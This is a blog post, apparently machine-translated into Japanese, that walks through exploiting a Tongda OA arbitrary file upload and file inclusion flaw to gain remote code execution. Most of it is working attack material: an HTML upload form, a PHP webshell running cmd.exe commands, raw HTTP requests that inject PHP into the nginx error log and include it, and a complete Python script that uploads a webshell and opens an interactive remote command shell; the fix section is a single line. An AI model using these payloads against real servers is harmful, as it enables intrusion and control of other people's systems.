TongdaOAの任意のファイルアップロード+ファイルインクルードがRCEにつながる

0x00の脆弱性の説明

 ispirit / im / upload.phpにログインバイパス(任意のファイルアップロードの脆弱性)があり、gateway.phpにファイルインクルードの脆弱性があり、最終的にgetshellにつながるか、ログファイルを直接使用してシェルを書き込みます。ファイルを結合して脆弱性getshellを含める

0x01脆弱性の影響を受けるバージョン

  • Tongda OAV11バージョン<= 11.3 20200103
  • Tongda OA2017バージョン<= 10.19 20190522
  • Tongda OA2016バージョン<= 9.13 20170710
  • Tongda OA2015バージョン<= 8.15 20160722
  • Tongda OA2013拡張バージョン<= 7.25 20141211
  • Tongda OA2013バージョン<= 6.20 20141017

注:gateway.phpの一部のバージョンには異なるパスがあります

2013年など:

/ispirit/im/upload.php

/ispirit/interface/gateway.php

2017年:

/ispirit/im/upload.php 

/mac/gateway.php

この記事で使用されているv11バージョンパスは

/ispirit/im/upload.php

/ispirit/interface/gateway.php

0x02脆弱性の再発

1. Tongda OA 11.2、https://cdndown.tongda2000.com/oa/2019/TDOA1​​1.2.exeをダウンロードし、クリックしてインストールします

2.ファイルアップロードの脆弱性パス/ispirit/im/upload.phpにアクセスします

3.アップロードインターフェイスを構築します。アクションの内容はターゲットアドレスです

<html>
<body>
<form action="http://192.168.77.135/ispirit/im/upload.php" method="post"  enctype="multipart/form-data">
<input  type="text"name='P' value = 1  ></input>
<input  type="text"name='MSG_CATE' value = 'file'></input>
<input  type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</body>
</html>

4.絵の馬を作る

<?php
//保存为jpg
    $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
    $exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
    $stdout = $exec->StdOut();  
    $stroutput = $stdout->ReadAll();  
    echo $stroutput;
?>

5.作成したアップロードファイルをブラウザで開き、ピクチャーホースをアップロードします

6. [クエリの送信]をクリックし、burpを使用してパッケージをキャプチャすると、アップロードが成功したことがわかります。

7. 2009はフォルダー名、1301311124 | test.jpgはファイル名、|をドットに変更し、対応するバージョンのgateway.phpを要求し、対応するバージョンのパスファイルを変更し、パスとファイル名を対応する画像のアップロード。ヘッダーにContent-Type:application / x-www-form-urlencodedを追加します。

8.ログファイルgetshellを含む任意のファイルアップロードの脆弱性を使用しないでください

GET /<?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd'].""); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput;?> HTTP/1.1 
Host: 192.168.77.135 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Cookie: PHPSESSID=fb2sahetm8tsjn65i0kramf506; KEY_RANDOMDATA=2025 
DNT: 1 
Connection: close 
Upgrade-Insecure-Requests: 1

9.ログファイルoa.error.logを確認し、正常に書き込まれたことを確認します

10.データパッケージを作成し、ログファイルが含まれていることを確認して、コマンドを正常に実行します

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.77.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=fb2sahetm8tsjn65i0kramf506; KEY_RANDOMDATA=7203
DNT: 1
Connection: close
Content-Length: 66
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../nginx/logs/oa.error.log"}&cmd=net user

11.ツールを使用してhttps://github.com/fuhei/tongda_rceをダウンロードします。#スクリプト内のフォルダーを変更する必要があることに注意してください。スクリプトを変更せずに実行すると、脆弱性がないことを確認するメッセージが表示されます。 (フォルダ名が間違っているため)

#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File    :   tongda_rce.py
@Time    :   2020/03/18 11:59:48
@Author  :   fuhei 
@Version :   1.0
@Blog    :   http://www.lovei.org
'''

import requests
import re
import sys


def check(url):
    
    try:
        url1 = url + '/ispirit/im/upload.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
        data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
        result = requests.post(url1, headers=headers, data=data)

        name = "".join(re.findall("2009_(.+?)\|",result.text))
        url2 = url + '/ispirit/interface/gateway.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"json": "{\"url\":\"../../../general/../attach/im/2009/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
        result = requests.post(url2, headers=headers, data=data)
        if result.status_code == 200 and 'fffhhh' in result.text:
            # print("[+] Remote code execution vulnerability exists at the target address")
            return name
        else:   
            return False
    except:
        pass

def command(url, name,command="whoami"):
    url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"json": "{\"url\":\"../../../general/../attach/im/2009/%s.f.jpg\"}" % (name), "f": "%s" % command}
    result = requests.post(url, headers=headers, data=data)
    while(1):
        command = input("fuhei@shell$ ")
        if command == 'exit' or command  == 'quit':
            break
        else:
            data = {"json": "{\"url\":\"../../../general/../attach/im/2009/%s.f.jpg\"}" % (name), "f": "%s" % command}
            result = requests.post(url, headers=headers, data=data)
            print(result.text)

if __name__ == '__main__':
    url = sys.argv[1]
    name = check(url)
    if name:
        print("[+] Remote code execution vulnerability exists at the target address")
        command(url,name)
    else:
        print("[-] There is no remote code execution vulnerability in the target address")

12.スクリプトを実行します

0x03修理の提案

アップグレードされたバージョン

次のことを示してください:Adminxeのブログ »  TongdaOAファイルのアップロードとファイルのインクルードはRCEにつながります

おすすめ

転載: blog.csdn.net/Adminxe/article/details/108744916